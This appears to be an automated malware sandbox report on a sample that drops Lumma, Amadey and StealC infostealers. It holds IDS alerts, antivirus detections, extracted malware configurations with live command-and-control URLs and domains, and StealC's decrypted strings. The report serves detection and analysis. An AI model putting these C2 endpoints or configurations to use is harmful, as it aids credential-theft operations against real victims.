ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:15.713861+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49711	188.114.97.3	443	TCP
2024-10-31T01:18:17.151668+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49721	188.114.97.3	443	TCP
2024-10-31T01:18:18.723143+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49728	188.114.97.3	443	TCP
2024-10-31T01:18:20.409259+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49739	188.114.97.3	443	TCP
2024-10-31T01:18:21.782646+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49750	188.114.97.3	443	TCP
2024-10-31T01:18:23.390569+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49761	188.114.97.3	443	TCP
2024-10-31T01:18:25.449357+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49771	188.114.97.3	443	TCP
2024-10-31T01:18:27.913192+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49789	188.114.97.3	443	TCP
2024-10-31T01:19:19.661882+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49997	188.114.97.3	443	TCP
2024-10-31T01:19:20.876503+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	49999	188.114.97.3	443	TCP
2024-10-31T01:19:22.772658+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50001	188.114.97.3	443	TCP
2024-10-31T01:19:24.425174+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50002	188.114.97.3	443	TCP
2024-10-31T01:19:26.720272+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50005	188.114.97.3	443	TCP
2024-10-31T01:19:29.039730+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50007	188.114.97.3	443	TCP
2024-10-31T01:19:32.803582+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50010	188.114.97.3	443	TCP
2024-10-31T01:19:35.525883+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50016	188.114.97.3	443	TCP
2024-10-31T01:19:40.772314+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50024	188.114.97.3	443	TCP
2024-10-31T01:19:43.397957+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50032	188.114.97.3	443	TCP
2024-10-31T01:19:50.101555+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50047	188.114.97.3	443	TCP
2024-10-31T01:19:54.999252+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50050	188.114.97.3	443	TCP
2024-10-31T01:19:57.362880+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50053	188.114.97.3	443	TCP
2024-10-31T01:20:01.198132+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50056	188.114.97.3	443	TCP
2024-10-31T01:20:06.626472+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50059	188.114.97.3	443	TCP
2024-10-31T01:20:09.087614+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50062	188.114.97.3	443	TCP
2024-10-31T01:20:14.941789+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50066	188.114.97.3	443	TCP
2024-10-31T01:20:18.615222+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50068	188.114.97.3	443	TCP
2024-10-31T01:20:20.623154+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50070	188.114.97.3	443	TCP
2024-10-31T01:20:21.907840+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50071	188.114.97.3	443	TCP
2024-10-31T01:20:23.607846+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50074	188.114.97.3	443	TCP
2024-10-31T01:20:25.928092+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50093	188.114.97.3	443	TCP
2024-10-31T01:20:29.162131+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50112	188.114.97.3	443	TCP
2024-10-31T01:20:30.151566+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50114	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:29.601876+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49797	185.215.113.16	80	TCP
2024-10-31T01:19:32.262532+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50009	185.215.113.16	80	TCP
2024-10-31T01:19:37.212263+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50020	185.215.113.16	80	TCP
2024-10-31T01:20:10.828379+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50063	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:19:13.436735+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49994	185.215.113.43	80	TCP
2024-10-31T01:19:19.912521+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49996	185.215.113.43	80	TCP
2024-10-31T01:19:25.930113+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50003	185.215.113.43	80	TCP
2024-10-31T01:19:31.325022+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50008	185.215.113.43	80	TCP
2024-10-31T01:19:36.648800+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50017	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:15.042578+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	61041	1.1.1.1	53	UDP
2024-10-31T01:19:18.141681+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	59090	1.1.1.1	53	UDP
2024-10-31T01:19:40.020024+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	54541	1.1.1.1	53	UDP
2024-10-31T01:20:14.223240+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	49458	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:15.054277+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	63747	1.1.1.1	53	UDP
2024-10-31T01:19:18.372258+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	64419	1.1.1.1	53	UDP
2024-10-31T01:19:40.064624+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	53555	1.1.1.1	53	UDP
2024-10-31T01:20:14.274032+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	58177	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:15.073758+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.6	51839	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:15.027150+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	58689	1.1.1.1	53	UDP
2024-10-31T01:19:18.095064+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	51325	1.1.1.1	53	UDP
2024-10-31T01:19:40.000366+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	51367	1.1.1.1	53	UDP
2024-10-31T01:20:14.200814+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	56201	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:15.064301+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	55011	1.1.1.1	53	UDP
2024-10-31T01:19:18.992894+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	64449	1.1.1.1	53	UDP
2024-10-31T01:19:40.076397+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	55273	1.1.1.1	53	UDP
2024-10-31T01:20:14.293111+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	49594	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:18:19.446449+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49728	188.114.97.3	443	TCP
2024-10-31T01:19:29.524861+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50007	188.114.97.3	443	TCP
2024-10-31T01:20:01.678981+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50056	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:19:27.662262+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50006	185.215.113.206	80	TCP
2024-10-31T01:19:35.030785+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50013	185.215.113.206	80	TCP
2024-10-31T01:19:57.109199+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50052	185.215.113.206	80	TCP
2024-10-31T01:20:08.558100+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50060	185.215.113.206	80	TCP
2024-10-31T01:20:24.059126+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50073	185.215.113.206	80	TCP
2024-10-31T01:20:40.217579+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50119	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:19:06.063616+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49991	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:19:12.517556+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49992	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:19:09.455468+0100	2803305	3	Unknown Traffic	192.168.2.6	49993	41.216.183.61	80	TCP
2024-10-31T01:19:14.716279+0100	2803305	3	Unknown Traffic	192.168.2.6	49995	185.215.113.16	80	TCP
2024-10-31T01:19:20.812923+0100	2803305	3	Unknown Traffic	192.168.2.6	49998	185.215.113.16	80	TCP
2024-10-31T01:19:26.858778+0100	2803305	3	Unknown Traffic	192.168.2.6	50004	185.215.113.16	80	TCP
2024-10-31T01:19:32.262532+0100	2803305	3	Unknown Traffic	192.168.2.6	50009	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:20:29.760398+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50112	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hostname[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1323344
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Avira: detection malicious, Label: HEUR/AGEN.1323344
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000005.00000002.2454622073.0000000000EC1000.00000040.00000001.01000000.00000008.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 27.0.num.exe.a50000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: file.exe.1048.1.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["necklacedmny.store", "founpiuer.store", "presticitpo.store", "navygenerayk.store", "fadehairucw.store", "scriptyprefej.store", "crisiwarny.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for domain / URL

Source: softwarefile.cc

Virustotal: Detection: 7%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hostname[1].exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 52%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hostname[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 27.0.num.exe.a50000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: 30
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: 11
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: 20
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: 24
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetProcAddress
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: LoadLibraryA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: lstrcatA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: OpenEventA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CreateEventA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CloseHandle
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Sleep
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: VirtualFree
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetSystemInfo
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: VirtualAlloc
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: HeapAlloc
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetComputerNameA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: lstrcpyA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetProcessHeap
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetCurrentProcess
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: lstrlenA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: ExitProcess
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetSystemTime
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: advapi32.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: gdi32.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: user32.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: crypt32.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: ntdll.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetUserNameA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CreateDCA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetDeviceCaps
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: ReleaseDC
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: sscanf
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: VMwareVMware
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: HAL9TH
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: JohnDoe
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: DISPLAY
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: http://185.215.113.206
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: bksvnsj
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: /746f34465cf17784/
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: tale
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetFileAttributesA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GlobalLock
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: HeapFree
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetFileSize
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GlobalSize
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: IsWow64Process
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Process32Next
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetLocalTime
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: FreeLibrary
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetVolumeInformationA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: Process32First
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetLocaleInfoA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetModuleFileNameA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: DeleteFileA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: FindNextFileA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: LocalFree
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: FindClose
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: LocalAlloc
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetFileSizeEx
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: ReadFile
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SetFilePointer
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: WriteFile
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CreateFileA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: FindFirstFileA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CopyFileA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: VirtualProtect
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetLastError
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: lstrcpynA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: MultiByteToWideChar
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GlobalFree
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: WideCharToMultiByte
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GlobalAlloc
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: OpenProcess
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: TerminateProcess
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetCurrentProcessId
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: gdiplus.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: ole32.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: bcrypt.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: wininet.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: shlwapi.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: shell32.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: psapi.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: rstrtmgr.dll
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SelectObject
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: BitBlt
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: DeleteObject
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CreateCompatibleDC
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GdiplusStartup
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GdiplusShutdown
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GdipDisposeImage
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GdipFree
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CoUninitialize
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CoInitialize
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CoCreateInstance
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: BCryptDecrypt
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: BCryptSetProperty
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: BCryptDestroyKey
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetWindowRect
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetDesktopWindow
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetDC
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CloseWindow
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: wsprintfA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CharToOemW
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: wsprintfW
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: RegQueryValueExA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: RegEnumKeyExA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: RegOpenKeyExA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: RegCloseKey
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: RegEnumValueA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: CryptUnprotectData
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: SHGetFolderPathA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: ShellExecuteExA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: InternetOpenUrlA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: InternetConnectA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: InternetCloseHandle
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: InternetOpenA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: HttpSendRequestA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: HttpOpenRequestA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: InternetReadFile
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: InternetCrackUrlA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: StrCmpCA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: StrStrA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: StrCmpCW
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: PathMatchSpecA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: RmStartSession
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: RmRegisterResources
Source: 27.0.num.exe.a50000.0.unpack	String decryptor: RmGetList
